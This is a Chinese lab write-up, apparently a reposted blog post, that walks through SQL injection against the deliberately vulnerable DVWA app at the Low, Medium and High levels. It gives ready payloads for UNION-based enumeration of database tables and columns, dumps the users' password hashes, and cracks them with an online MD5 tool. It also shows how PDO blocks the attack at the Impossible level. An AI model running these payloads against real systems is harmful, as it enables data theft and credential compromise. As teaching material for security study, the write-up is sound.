Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)

目录

一、SQL注入

1、SQL注入漏洞原理

2、SQL注入类型

3、SQL注入过程

二、实验环境

三、实验步骤

安全级别:LOW

安全等级:Medium

安全级别:High

安全级别:Impossible


一、SQL注入

1、SQL注入漏洞原理

把SQL命令插入到Web表单提交、或输入域名、或页面提交的查询字符串中,从而达到欺骗服务器执行恶意的SQL命令。

2、SQL注入类型

  • 字符型
  • 数字型
  • 搜索型

3、SQL注入过程

  1. 判断是否存在注入,注入是字符型还是数字型;
  2. 猜解SQL查询语句中的字段数;
  3. 确定显示位置;
  4. 获取当前数据库;
  5. 获取数据库中的表;
  6. 获取表中的字段名;
  7. 下载数据

二、实验环境

1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite

2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。

三、实验步骤

安全级别:LOW

查看源码

由源码可以看出,LOW级别的SQL注入对参数id的内容进行任何检查和过滤,存在明显的SQL注入,并且是字符型注入。

使用场景

1、判断是否存在注入,注入是字符型还是数字型

输入1,查询成功,存在SQL注入

输入 1’ and ‘1’=’1 或者 1’ or ‘1234’ = ‘1234,成功返回结果,证明该SQL注入为字符型。

2、猜解SQL查询语句中的字段数;

在输入框中输入 1’ order by 1 # 和 1’ order by 2 #  时都返回正常;对比源码,这条语句的意思是查询users表中user_id为1的数据并按第一(二)字段进行。

在输入框中输入1’ order by 3 # 时,返回错误(Unknown column '3' in 'order clause'),说明该表中的字段数为2,有两列数据

3、确定字段的显示位置

当确定字段数后,接下来使用union select联合查询继续获取数据

1’ union select 1,2 #            //1在First name中显示,2在Surname中显示

4、获取当前的数据库名

1' union select version(),database() #         //在1的位置显示数据库的版本,在2的位置显示数据库名

5、获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #        //在2的位置显示数据库中的表

6、获取指定表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #       //在2的位置显示users表中的字段名

7、获取数据

1' union select user,password from users #      //在1的位置显示用户名,在2的位置显示加密的密码

使用SOMD5对密码进行解密

安全等级:Medium

查看源码

观察源码可以看到mysql_real_escape_string函数对特殊字符\x00、\n、\r、\x1a、'、" 等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入;由下图可以看出用户只能选择数字1-5。

使用场景

1、判断是否存在注入,注入是字符型还是数字型

借助Burp Suite工具对抓取的数据包进行修改(Post方式),实现SQL注入。

1 and 1=1   或者  1 or 1234 = 1234      //均成功出现结果,存在SQL注入,且为数字型

2、猜解SQL查询语句中的字段数

1 order by 2

通过尝试,判断字段数为2

3、确定显示位置

1 union select 1,2        //1显示在First name的位置,2显示在Surname的位置

4、获取当前数据库名

1 union select 1,database()        //在2的位置显示数据库名dvwa

5、获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6、获取指定表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

因为table_name='users' 中还有单引号,会进行转义,所以需要将 'users' 进行编码,然后进行查询。

7、获取数据

1 union select user,password from users    //获取用户名和加密的密码

可通过解密工具,得到明文密码(https://www.somd5.com/)

安全级别:High

查看源码

High级别在SQL查询语句中添加了LIMIT 1,一次控制值输入一个结果;我们可以通过 # 将其注释掉。其余操作与Low安全级别的操作一致。

1’ or ‘1234’ = ‘1234 #

1’ order by 1 #

1' union select 1,2 #

1’ union select 1,database() #

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

1' union select user,password from users #

安全级别:Impossible

查看源码

Impossible安全级别采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/90110633